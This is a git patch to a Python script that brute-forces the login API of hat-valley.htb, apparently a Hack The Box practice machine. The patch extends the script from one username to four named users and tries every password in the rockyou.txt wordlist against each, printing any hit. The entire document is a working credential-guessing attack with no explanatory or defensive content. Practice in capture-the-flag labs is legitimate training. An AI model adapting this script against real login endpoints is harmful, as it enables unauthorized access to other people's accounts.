From d20752246ee4c281f3eee4b428022a9b18fe9cc6 Mon Sep 17 00:00:00 2001 From: quoije Date: Wed, 26 Oct 2022 04:43:59 -0400 Subject: [PATCH] up --- quickBF4HTB.py | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/quickBF4HTB.py b/quickBF4HTB.py index 2a764dc..ba0b57f 100644 --- a/quickBF4HTB.py +++ b/quickBF4HTB.py @@ -2,7 +2,7 @@ from requests import post import time wordlist = "/usr/share/wordlists/rockyou.txt" -usern = "bean.hill" +usrn = ["bean.hill", "christine.wool", "christopher.jones", "jackson.lightheart"] def ayy(username, password): endpoint = "http://hat-valley.htb/api/login" @@ -20,11 +20,12 @@ with open(wordlist,'r') as mariob: for passWL in mariob: if found == False: for pasw in passWL.split(): - print("[+++] testing " + usern + ":" + pasw) - if ayy(usern, pasw) == "Incorrect username or password": - print("[+] Found?: " + str(found)) - time.sleep(.01) - else: - found = True - print("[+] Found?: " + str(found) + " | password: " + pasw) + for usernames in usrn: + print("[+++] testing " + usernames + ":" + pasw) + if ayy(usernames, pasw) == "Incorrect username or password": + print("[+] Found?: " + str(found)) + time.sleep(.01) + else: + found = True + print("[+] Found?: " + str(found) + " | password: " + pasw) else: exit()